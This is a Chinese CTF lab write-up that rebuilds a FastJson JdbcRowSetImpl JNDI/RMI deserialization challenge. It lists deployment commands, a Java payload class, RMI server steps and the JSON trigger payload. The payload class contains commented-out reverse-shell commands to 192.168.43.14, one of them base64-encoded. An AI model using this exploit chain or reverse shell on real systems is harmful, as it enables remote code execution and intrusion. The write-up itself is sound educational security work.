在前不久的护网杯CTF比赛中，有一道Web的“easy_web”题，其实就是利用FastJson的JdbcRowSetImpl类反序列化漏洞进行Shell，然后cat Flag。一大部分人对这道题是懵逼的，没做出来，后面因护网杯题目关闭了，没有此漏洞的学习环境，所以我就写了此环境，方便大家学习交流。
root@Bearcat:/# wget "https://github.com/iBearcat/FastJson-JdbcRowSetImpl/raw/master/FastJson_Vul.war" -P /opt/apache-tomcat-8.5.24/webapps/ && cd /opt/apache-tomcat-8.5.24/bin/ && ./startup.sh
在CommandObject.java类中的commands数组中构造想要执行的命令
编译 javac CommandObject.java
import java.lang.Runtime;
import java.lang.Process;
public class CommandObject {
public CommandObject(){
try{
Runtime rt = Runtime.getRuntime();
//Runtime.getRuntime().exec("/bin/bash -i >&/dev/tcp/192.168.43.14/2018<&1");
//String[] commands = {"bash -c {echo,L2Jpbi9iYXNoIC1pID4mL2Rldi90Y3AvMTkyLjE2OC40My4xNC8yMDE4PCYx}|{base64,-d}|{bash,-i}"};
String[] commands = {"touch","/opt/test"}; //Command
Process pc = rt.exec(commands);
pc.waitFor();
}catch(Exception e){
e.printStackTrace();
}
}
public static void main(String[] argv){
CommandObject e = new CommandObject();
}
}
开启一个HTTP服务，并且开启 RMIServer
Python2 -m SimpleHTTPServer 80
Python3 -m http.server 80
java -jar FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar <HTTP服务地址> 指定RMI端口
FastJson_JdbcRowSetImpl_JNDI_RMIServer.jar 会生成一串Json Payload
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.43.14:6666/Object","autoCommit":true}
把它Copy到漏洞环境的input中，然后submit进行攻击。
String[] commands = {"touch","/opt/test"}; //Command
React
Typescript
Django
Laravel
Facebook
Microsoft
Google
Alibaba
D3
Tencent